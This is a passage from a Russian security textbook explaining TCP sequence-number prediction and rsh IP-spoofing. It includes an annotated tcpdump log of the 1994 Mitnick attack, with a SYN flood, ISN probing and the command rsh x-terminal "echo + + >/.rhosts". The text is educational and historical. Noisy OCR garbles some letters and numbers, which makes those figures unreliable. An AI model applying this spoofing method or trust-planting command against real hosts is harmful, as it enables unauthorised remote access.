и TCP-соединение между хостами А и В считается установленным.

  Теперь хост А может посылать пакеты с данными на хост В по только что созданному виртуальному TCP-
каналу; передается следующая информация: АСК, ISSa+l, ACK(ISSb+l); DATA.

  Из рассмотренной схемы создания TCP-соединения видно, что единственными идентификаторами, помимо IP-
адреса инициатора соединения, 
 TCP-абонентов и TCP-соединения, являются два 32-битных параметра Sequence
Number и Acknowledgment Number. Следовательно, для формирования ложного TCP-пакета атакующему
необходимо знать текущие идентификаторы для данного соединения - ISSa и ISSb. Это означает, что , кракеру
достаточно, подобрав соответствующие текущие значения идентификаторов TCP-пакета для данного TCP-
соединения (например, данное соединение может представлять собой FTP- или TELNET-подключение), , послать
пакет с любого хоста в сети Internet от имени одного из участников данного соединения (например, от имени
клиента), указывая в заголовке IP-пакета его IP-адрес, и данный пакет будет воспринят как верный.

  Итак, для осуществления описанной выше атаки необходимым и доста-; точным условием является знание двух
текущих 32-битных параметров ISSa и ISSb, идентифицирующих TCP-соединение. Рассмотрим возможные
способы их получения.

  Если взломщик находится в одном сегменте с объектом атаки или через ; сегмент кракера проходит трафик такого
хоста, то задача получения значений ISSa и ISSb является тривиальной и решается путем сетевого ана-\ лиза.

  Следовательно, нельзя забывать что протокол TCP позволяет защитить соединение только в случае
невозможности перехвата атакующим сообщений, передаваемых по данному соединению, то есть тогда, когда
кракер находится в других сегментах относительно абонентов TCP-соединения. Поэтому наибольший интерес для
нас представляют межсегментные атаки, когда атакующий и его цель находятся в разных сегментах Сети. В этом
случае задача получения значений ISSa и ISSb не является тривиальной. Далее предлагается следующее решение
обозначенной проблемы.

  Предсказание начального значения идентификатора TCP-соединения
Рассмотрим математическое предсказание начального значения идентификатора TCP-соединения экстраполяцией
его предыдущих значений.

  Первый вопрос, который возникает в данном случае: как сетевая операционная система формирует начальное
значение ISSa или так называемый ISN - Initial Sequence Number (Начальный номер последовательности)?

  Очевидно, что наилучшим с точки зрения безопасности решением будет генерация значения ISN по случайному
закону с использованием программного (а лучше аппаратного) генератора псевдослучайных чисел с достаточно
большим периодом, тогда каждое новое значение ISN не будет зависеть от его предыдущего, и, следовательно, у
атакующего не будет даже теоретической возможности нахождения функционального закона получения ISN.

  На практике, однако, оказывается, что подобные правила случайной генерации ISN как для составителей описания
протокола TCP (RFC 793), так и для разработчиков сетевого ядра различных ОС далеко не очевидны. Об этом
говорят следующие факты. В описании протокола TCP в RFC 793 рекомендуется увеличивать значение этого 32-
битного счетчика на 1 каждые 4 микросекунды. В ранних Berkeley-совместимых ядрах ОС UNIX, например,
значение этого счетчика увеличивалось на 128 каждую секунду . и на 64 для каждого нового соединения. Анализ
исходных текстов ядра ОС Linux 1.2.8 показал, что значение ISN вычисляется данной ОС в зависимости от
текущего времени по следующему, отнюдь не случайному закону:

  ISN = мкс + 1 000 000 с, (1)
где мкс - время в микросекундах;
с - текущее время в секундах; отсчет его идет от 1970 года. В ОС Windows NT 4.0 значение ISN увеличивается на
10 примерно каждую миллисекунду, то есть для Windows NT справедлива следующая формула:

  ISN-10мс, (2)
где мс - текущее время в миллисекундах.

  Однако больше всего нас удивила защищенная по классу В1 операционная система CX/LAN/SX,
установлеппая па многопроцессорной   мини  -ЭВМ - полнофункциональном межсетевом экране CyberGuard. Эта
наиболее защищенная из всех, что встречалась авторам, сетевая ОС также имеет простой времязависимый
алгоритм генерации начального значения идентификатора TCP-соединения. Как говорится, комментарии
излишни. Мало того, что в единственном базовом <защищенном> протоколе Internet - протоколе TCP -
применяется простейший способ идентификации соединения, который не может гарантировать надежную защиту
от подмены одного из абонентов при нахождении атакующего в том же сегменте, так еще сами разработчики
сетевых ОС разрушают и без того хрупкую безопасность этого протокола, используя простые времязависимые
алгоритмы генерации ISN.

  Итак, в том случае если в сетевой операционной системе используется времязависимый алгоритм генерации
начального значения идентификатора TCP-соединения, то взломщик получаст принципиальную возможность
определить с той или иной степенью точности вид функции, описывающей закон получения ISN. Исходя из
практических исследований сетевых ОС, а также из общих теоретических соображений, можно предложить
следующий обобщенный вид функции, описывающий времязависимый закон получения ISN, который постоянно
увеличивается каждую секунду:

  ISN = F (мкс, мс, с), (3)
где мкс - время в микросекундах (обычно минимальной единицей измерения машинного времени является
микросекунда); циклически изменяется за одну секунду от 0 до 10^-1;
мс - текущее время в миллисекундах; этот параметр циклически изменяется за секунду от 0 до 999; с - текущее
время в секундах.

  На малом промежутке времени (меньше одной секунды) для удобства аппроксимации можно утверждать, что
ISN = F (мкс). (4)
Итак, мы будем считать, что значение ISN зависит только от времени в микросекундах. Данная функция в силу
особенностей изменения своих аргументов в сетевых ОС обычно является или кусочнолинейной, пли сту-
пенчатой. Например, зависимость (1), описывающая закон получения ISN в ОС Linux, в случае приведения се к
виду (4) является кусочнолинейной, а функциональная зависимость (2), справедливая для Windows NT, - сту-
пенчатой.

  На данном этане мы вплотную подошли к проблеме определения вида функциональной зависимости ISN от
времени (мкс) для конкретной сетевой ОС. Первый способ получения этой зависимости - анализ исходных текстов
ядра операционной системы. Использование данного способа на практике обычно оказывается невозможным из-за
отсутствия исходных текстов большинства ОС. Исключение составляют ОС Linux и FreeBSD, поставляемые с
исходными текстами ядра.

  В связи с этим предлагается другой метод получения закона изменения ISN во времени. Сетевая ОС
рассматривается исследователем как <черный ящик>, к которому применяется метод тестирования <запрос -
ответ>: на исследуемую ОС передается серия обычных запросов на создание TCP-соединения и принимается
соответствующее количество ответов с текущими значениями ISN операционной системы в каждый момент вре-
мени. При этом замеряются временные интервалы в микросекундах между запросом и ответом на него и время,
прошедшее между запросами. В результате у исследователя будет следующая таблица дискретных отсчетов ISN и
соответствующих им моментов времени в мкс:

  | ISNo | ISN1 | ... | ISNn |
| t0 | t1 | : | tn |
где ISN - значение ISN, полученное за время t от начала эксперимента (время начала эксперимента
принимается за 0).

  Аппроксимируя данную таблицу дискретных значений непрерывной функции одним из известных
математических методов (например, методом паимсныпнх квадратов), получим непрерывную функцию, прибли-
женно описывающую изменение ISN на данном временном промежутке (от 0 до t), при этом чем выше точность
исходных данных, тем точнее приближение:

  ISN(t) -Е F(t). (5) С помощью этой формулы мы можем, зная функцию изменения ISN от
времени, экстраполировать следующее значение ISN по предыдущему. Теперь атакующий, получив в ответ на
TCP-запрос текущее значение ISN для ОС в данный момент времени, способен математически предсказать сле-
дующее возможное значение ISN через некоторый промежуток времени.

  Хотелось бы обратить внимание на следующий важный момент: чем ближе в сети находятся исследователь и
тестируемая ОС, тем выше точность получения аппроксимирующей функции. В противном случае время, за
которое запрос дойдет до системы и будет выработан ISN, может существенно отличаться от времени передачи
ответа из-за задержек в канале связи; при этом погрешность исходных данных будет увеличиваться, а точность
экстраполяции падать. Заметим, что атакующему вовсе нс обязательно проводить подобные исследования с
интересующим его удаленным хостом. Достаточно узнать тип операционной системы на объекте атаки и получить
в свое распоряжение подобную систему для определения формулы изменения ISN.

  Применение описанной выше методики получения формулы ISN(t) на примере ОС Linux 1.2.8 и
Windows NT 4.0 в случае нахождения в одном сегменте с данными ОС позволило определить это 32-битное
значение (от 0 до 2^-1) по его предыдущему значению для ОС Windows NT с точностью до 10, а для ОС
Linux 1.2.8 - с точностью примерно до 100. В табл. 4.1 приведены снятые в процессе эксперимента с ОС
Linux 1.2.8 значения изменения ISN за соответствующие промежутки времени (а не абсолютные значения).

  Таблица 4.14 Изменение значений ISN для OC LINUX 1.2.8

                                         

График на рис. 4.14, построенный на основе данных из этой таблицы и справедливый для ОС Linux 1.2.8,
наглядно показывает линейный характер изменения значения начального идентификатора TCP-соединения
.ISN на данном временном промежутке (на самом деле зависимость изменения ISN для ОС Linux 1.2.8
носит кусочнолинейный характер).


                                          

Как правило, определив вид функций для вычисления ISN в операционных системах на сервере и
предполагаемом клиенте, атакующий начинает следить за ОС сервера, ожидая подключения
предполагаемого клиента. В тот момент, когда подключение произошло, кракер может подсчитать
возможный диапазон значений ISN, которыми обменялись при создании TCP-канала данные хосты. Так как
атакующий может вычислить значения ISN только приближенно, то ему не избежать подбора. Однако без
помощи описанного выше метода для перебора всех возможных значений ISSa и ISSb понадобилось бы
послать 2^ пакета, что нереально. В противном случае, например, если удалось вычислить значения ISN на
операционных системах с точностью до 100, для подмены одного из абонентов TCP-соединения
взломщику достаточно послать всего 10 000 пакетов. Вообще говоря, осуществить атаку, связанную с
подменой TCP-абонентов, путем предсказания ISSa и ISSb без перехвата трафика практически невозможно
(за исключением случая, когда оба абонента используют ОС Windows NT). Поэтому более реальным
выглядит воздействие, связанное с подменой только одного из абонентов TCP-соединения и предсказанием
одного значения ISSa.

  Рассмотрим ставшую уже классической подобную удаленную атаку на г-службу. Осуществление такого
взлома связано с описанными выше особенностями идентификации TCP-пакетов.

  Недостатки идентификации абонентов TCP-соединения
В ОС UNIX существует понятие доверенный хост. Доверенным по отношению к какому-либо хосту называется
сетевой компьютер, доступ на который пользователю с данного хоста разрешен без его аутентификации и
идентификации с помощью г-службы (г - сокращение от англ.  - удаленный). Обычно в ОС UNIX
существует файл rhosts, в котором находится список имен и IP-адресов доверенных хостов. Для получения
удаленного доступа к ним пользователю необходимо применить программы, входящие в г-службу (например,
riogin, rsh и т. д.). При использовании г-программ с доверенного хоста для получения удаленного доступа нс
требуется проходить стандартную процедуру идентификации и аутентификации, заключающуюся в проверке
логического имени и пароля пользователя. Единственной аутентифицирующей пользователя информацией для г-
службы является IP-адрес хоста, с которого осуществляется удаленный г-доступ (см. в главе 8 раздел
<Программно-аппаратные методы защиты от удаленных атак в сети Internet>). Отметим, что все программы из г-
службы реализованы на базе протокола TCP. Одной из программ, входящих в г-службу, является rsh (remote shell),
с помощью которой возможно осуществление данной атаки: эта программа позволяет отдавать команды shell
удаленному хосту, причем, чтобы отдать команду, достаточно послать запрос, а ответ на него получать
необязательно. При атаке на г-службу вся сложность для кракера заключается в том, что ему необходимо послать
пакет от имени доверенного хоста, то есть в качестве адреса отправителя нужно указать IP-адрес такого хоста.

  Следовательно, ответный пакет будет отправлен именно на доверенный хост, а не на хост атакующего.

  Схема удаленной атаки на rsh-сервер (рис. 4.15) была впервые описана небезызвестным Р. Т. Моррисом-
старшим [13]. Пусть хост А доверяет хосту В. Хост Х-Hacker - это станция атакующего.


  Вначале атакующий Х-Hacker открывает настоящее TCP-соединение с хостом В на любой TCP-порт (mail,
echo и т. д.). В результате X-Hacker получает 'TeKymee на данный момент времени значение ISNb. Затем X-
Hacker от имени хоста А посылает на хост В TCP-запрос на открытие соединения: SYN, ISSx.

  Получив этот запрос, В анализирует IP-адрес отправителя и решает, что пакет пришел с хоста А.

  Следовательно, в ответ хост В посылает на А новое значение ISNb': SYN, АСК, ISNlY, ACK(ISSx+l).

  X-Hacker никогда не получит это сообщение от В, но, используя предыдущее значение ISNb и схему для
получения ISNb', при помощи математического предсказания может послать пакет на В: АСК, ISSx+l,
ACK(ISNb'+l).

  Для того чтобы послать этот пакет, вероятно, потребуется перебрать некоторое количество возможных
значений ACK(ISSb'+l). Подбирать ISSx+l нс нужно, так как этот параметр TCP-соединения был послан с хоста
X-Hacker на объект В в нервом пакете.

  В случае осуществления данной атаки перед взломщиком возникает следующая проблема. Так как X-Hacker
посылает первый пакет на В от имени А, то хост В ответит на А пакетом 2. Но поскольку хост А нс посылал на
хост В никакого запроса, то, получив такой ответ, перешлет на В пакет с битом RST - закрыть соединение.

  Кракера это, естественно, не устраивает, поэтому ему придется на некоторое время вывести из строя хост А (см.

  раздел <Нарушение работоспособности хоста в сети Internet при использовании направленного шторма ложных
TCP-запросов на создание соединения либо при переполнении очереди запросов>).

  В итоге rsh-сервер на хосте В считает, что к нему подключился пользователь с доверенного объекта А, тогда
как на самом деле это атакующий с хоста X-Hacker. Н хотя взломщик никогда нс получит пакеты с хоста В, он
сможет выполнять на нем г-команды.

  В заключение авторам хотелось бы привести пример реального инцидента, произошедшего в компьютерном
центре Сан-Диего 12 декабря 1994 года, когда взломщик (небезызвестный Кевин Митник) использовал такую
схему удаленной атаки. Этот инцидент представляет, как нам кажется, исторический интерес и показывает, что
опасности, описанные в нашей книге, являются отнюдь не мнимыми угрозами из Internet, а той реальностью,
над которой большинство пользователей просто не задумывается, но которая в любой момент может пожаловать
к ним в гости.

  Все приведенные ниже сведения взяты из письма эксперта по информационной безопасности Цутому
Шимомуры (Tsutomu Shimoinura) в различные эхо-конференции.

  Далее приводится перевод его оригинального письма с некоторыми сокращениями и нашими
комментариями:

  <3g5gkl$5j1(o)ariei.sdsc.edu Message-ID: Center Supercomputer Diego San Organization: 04:36:37-0800 1995 Jan 25 Date: NYT in f Market by described of details Technical Subject: .security alt tcp-ip, protocols, comp.security.misc.comp. Newsgroups: Shimomura) (Tsutomu tsutomu@ariel.sdsc.edu>
NNTP-Posting-Host: ariel.sdsc.edu
Keywords: IP spoofing, security, session hijacking
Привет с озера Тахо.

  В статье Джона Маркоффа от 23.01.95 в газете <Нью-Йорк Тайме> и в рекомендациях СЕRТ СА-
95:01, кажется, было довольно .много путаницы насчет того, что такое на самом деле атака с
использованием подмены IP-адреса с целью подмены одного из абонентов соединения.


  - ------------------------------------------------------------------------------------------------------

I Имеется в виду статья в New York Times под названием .

  Следующая статья была опубликована 28 января 1995 года под названием . Заключительная статья  появилась 16
февраля того же года. Time Magazine напечатал две статьи под следующими громкими заголовками:

   и . Шумиха, поднятая американской прессой по
этому поводу, была столь велика, что нам остается только вспомнить крылатую фразу Шекспира:

  <Много шума из ничего>. Хотя это можно объяснить тем, что, во-первых, в США благодаря
стараниям прессы сложился образ злобного суперхакера, этакого <монстра> киберпространства -
Кевина Митника; во-вторых, это был один из редких случаев обнародования информации о реальной
удаленной атаке; в-третьих, ее осуществление удалось проследить и запротоколировать, что обычно
очень непросто; и, в-четвертых, с нашей точки зрения, это, пожалуй, единственная известная, и при
этом довольно красивая, удаленная атака на TCP-соединение (ис-' тории о <тупых> атаках с
перехватом пароля или попытками его подбора читателю уже, видимо, надоели)

- ----------------------------------------------------------------------------------------.


  Здесь приведены некоторые технические подробности из моей презентации 11.01.95 в CMAD 3 в
Сономе, Калифорния. Надеюсь, это может снять всяческое непонимание природы этих атак.

  Для атаки использовалось два различных механизма. Подмена IP-адреса отправителя и
математическое предсказание начального значения идентификатора TCP-соединения позволили
получить доступ к бездисковой рабочей станции, которая использовалась как Х-терминал.

  В письмо включен log-файл, полученный с помощью программы tcpdump, с записью всех пакетов,
посланных атакующим. Для краткости этот файл приводится с сокращением некоторых
несущественных подробностей. Моя конфигурация:

  server = SPARC с ОС Solans 1, обслуживающий x-terminal;
x-terminal = бездисковая рабочая станция SPARC с ОС Solans 1;
target = основная цель атаки.

  Атака началась 25 декабря 1994 года в 14:09:32. Первые попытки зондирования осуществлялись с хоста
toad.com (информация взята из log-файла).

  14:09:32 toad. cornff finger -I @atarget
14:10:21 toad.com# finger -I @server
14:10:50 toad.com# finger -I root@server
14:11:07 toad.com# finger -I @x-terminal
14:11:38 toad.comff showmount -e x-terminal
14:11:49 toad.com# rpcinfo -p x-terminal
14:12:05 toad.com# finger -I root@x-terminal
Зондирование системы позволило определить, есть ли у нее другие доверенные системы для
дальнейшей атаки. То, что атакующий смог. запустить программы showmount и fpcinfo, означало, что
он является пользователем root на хосте toad.com.

  Через шесть минут мы видим шторм TCP-запросов на создание соединения с адреса 130.92.6.97 на
513-й порт (login) хоста semer. При этом основная цель атакующего - этими однонаправленными TCP-
запросами переполнить очередь на 513-ом порту сервера так, чтобы он не смог отвечать на новые
запросы на создание соединения. Особенно важно, чтобы сервер не смог сгенерировать TCP-пакет с
битом RST в ответ на неожиданно пришедший TCP-пакет с битами SYNuACK.

  Так как порт 513 является привилегированным портом, то теперь IP-адрес хоста server.login
может быть свободно использован атакующим для атаки с использованием подмены адреса на r-
службы UNIX-систем (rsh, rlogin).


  - -----------------------------------------------------------------------

I Шимомура здесь и далее после имени или 1Р-адреса хоста через точку указывает порт назначения. Поэтому
запись server. login означает хост server и порт login (513). Соответственно, например, первая из распечатки
log-файла запись 130.92.6.97.600 означает, что пакет передается с IP-адреса 130.92.6.97 с 600-го порта.


  14:18:22.516699 130.92.6.97.600 > server.login: S 13.82726960:1382726960(0) win 4096
14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096
14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096
14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096
14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096
14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096
14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096
14:18:23.103275 130.92.6.97.607 > server,login: S 1382726967:1382726967(0) win 4096
14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096
14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096
14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096
14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096 .

  14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) win 4096
14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) win 4096
14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) win 4096
14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) win 4096
14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) win 4096
14:18:24.203195 130.92.6.97.617 > server,login: S 1382726977:1382726977(0) win 4096
14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) win 4096
14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) win 4096
14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) win 4096
14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) win 4096
14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) win 4096
14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) win 4096
14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) win 4096
14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) win 4096
14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) win 4096
14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) win 4096
14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) win 4096
14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) win 4096
Хост server на первые восемь запросов генерирует соответственно восемь ответов, после чего очередь
переполняется.

  Хост server периодически будет посылать эти ответы, но так и не дождется на них никакой реакции.


                     - ---------------------------------------

I Кстати, ноши эксперименты, описанные в разделе <Направленный шторм ложных TCP-запросов на
создание соединения>, это подтвердили.


                - ------------------------------------------------

Далее мы видим 20 попыток создания соединения с хоста apollo.it.luc.edu на x-[e^
minal.shell.

  Основная цель этих запросов - определить закон изменения начального значения идентификатора TCP-
соединения на хосте x-terminal. Так как значение ISN увеличивается на единицу с каждым вновь
посылаемым запросом, следовательно, эти запросы генерирует не ядро сетевой ОС. При этом очередь
запросов на хосте x-terminal не переполняется, так как атакующий после каждого запроса передает пакет
с битом RST, что означает <закрыть соединение>.

  14:18:25,906002 apollo. it. luc.edu. 1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096
14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack
1382726991 win 4096
14:18:26,172394 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0) win 0
14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0) win 4096
14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack
1382726992 win 4096
14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0
14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0
14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0) win 4096
14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack
1382726993 win 4096
14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0) win 0
14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0) win 4096
14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack
1382726994 win 4096
14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0) win 0
14:18:28.054114 apollo. it. luc.edu. 996 > x-terminal. shell: S 1382726994:1382726994(0) win 4096
14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack
1382726995 win 4096
14:18:28.305578 apollo.it. luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0) win 0
14:18:28.564333 apollo. it. luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0) win 4096
14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack
1382726996 win 4096
14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0) win 0
14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: 3 1382726996:1382726996(0) win 4096
14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S 2022592000:2022592000(0) ack
1382726997 win 4096
14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0
14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0
14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096
14:18:29.755054 x-terminal.shell > apollo. it. luc.edu.993: S 2022720000:2022720000(0) ack
1382726998 win 4096
14:18:29.840372 apollo. it. luc.edu. 993 > x-terminal. shell: R 1382726998:1382726998(0) win 0
14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096
14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack
1382726999 win 4096
14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0
14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096
14:18:30.775232 x-terminal.shell > apollo. it. luc.edu. 991: S 2022976000:2022976000(0) ack
1382727000 win 4096
14:18:30.652084 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0
14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096
14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack
1382727001 win 4096
14:18:31.361684 apollo.it.luc.edu.990 > x-teminal.shell: R 1382727001:1382727001(0) win 0
14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096
14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack
1382727002 win 4096
14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0
14:18:32.164597 apollo. it. luc.edu. 988 > x-terminal. shell: S 1382727002:1382727002(0) win 4096
14:16:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack
1382727003 win 4096
14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0
14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096
14:18:32.845373 x-terminal. shell > apollo. it. luc.edu, 987: S 2023488000:2023488000(0) ack
1382727004 win 4096
14:18:32.922158 apollo. it. luc.edu. 987 > x-terminal. shell: R 1382727004:1382727004(0) win 0
14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096
14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack
1382727005 win 4096
14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0
14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096
14:18:33.985966 x-terminal. shell > apollo. it. luc.edu. 985: S 2023744000:2023744000(0) ack
1382727006 win 4096
14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0
14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096
14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack
1382727007 win 4096
14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0
14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096
14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack
1382727008 win 4096
14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0
14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096
14:18:35.395723 x-terminal.shell > apollo. it. luc.edu. 982: S 2024128000:2024128000(0) ack
1382727009 win 4096
14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0
14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096
14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack
1382727010 win 4096
14:18:35,983078 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0
Видно, что каждый последующий ответный пакет SYN-ACK, посылаемый cxocmax-tei"minal,
имеет начальное значение идентификатора TCP-соединения на 128 000 больше, чем у предыдущего.


  - -----------------------------------------------------------------------

I Анализ приведенной распечатки пакетов показывает, что каждое пос ледующее начальное значение ISN
на хосте x-terminal.shell отличается от предыдущего на 128 000. Например: 2 024 256 000 -2024128000=
128 000 или 2 024 128 000 -2 024 000 000 = 128 000. Не правда ли, простейший закон генерации ISN?


  - -----------------------------------------------------------------------

Далее мы видим поддельный запрос на создание TCP-соединения якобы с хоста server.login на x-
teirminal.shell. При этом x-terminal доверяет хосту server и, следовательно, x-terminal будет
выполнять все запросы, переданные с этого хоста (или с любого другого, подменившего хост server).

  X-terminal затем отвечает на хост server пакетом SYN-ACK и ожидает подтверждения этого
пакета А СК, что должно означать открытие соединения. Так как хост server игнорирует все
пакеты, посланные на seruer.login, то поддельный пакет атакующего, подтвержденный АС К,
должен иметь успех.

  Обычно значение подтверждения (АСК) берется из пакета SYN-ACK. Однако атакующий,
используя предсказание закона изменения начального значения идентификатора TCP-соединения на.

  хосте x-terminal, сможет получить значение АСК без получения пакета SYN-ACK:

  14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096
14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096

    - -----------------------------------------------------------------------

I Используя полученную математическую зависимость для предсказания ^мУл, значения ISN, атакующий
может послать следующий пакет от имени server, login со значением АСК, равным 2 024 384 001,
вычисленным по его предыдущему значению 2 024 256 000 добавлением к нему 128 000 + 1

    - -----------------------------------------------------------------------

Хост атакующего сейчас имеет одностороннее соединение с x-terminal.sheH, который считает,
что это соединение открыто с seiver.login. Атакующий теперь может передавать пакеты с
данными, содержащими верные значения АСК, на x-tei-minal. Далее он. посылает следующие пакеты:

  14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096
14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096
14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096
что означает выполнение команды server^ rsh x-terminal "echo + + >/.rhosts".


  - -----------------------------------------------------------------------

I Завершая атаку, взломщик от имени server, login посылает на ^^J^ x-terminal.sheU три пакета, что
эквивалентно выполнению на хосте server следующей г-команды: rsh x-terminal. "echo + + >/.rhosts". Эта
команда дописывает в файл /.rhosts строчку + + и делает доверенными все станции.


  Всего атака заняла менее 16 секунд. Атакующий закрывает ложное соединение:

  14:18:41.347003 server, login > x-terminal.shell: . ack 2 win 4096
14:18:42.255976 server.login > x-terminal.shell: . ack 3 win 4096
14:18:43.165674 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096
14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096
14:18:52.236452 server.l'ogin > x-terminal.shell: R 1382727044:1382727044(0) win 4096
Затем атакующий посылает RST-пакеты и, следовательно, закрывает ранее открытые
односторонние соединения с sefuer.login, тем самым освобождая очередь запросов.

  14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096
14:18:52.363877 130.92.6.97.601 > server,login: R 1382726961:1382726961(0) win 4096
14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096
14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096
14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096
14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096
14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096
14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096
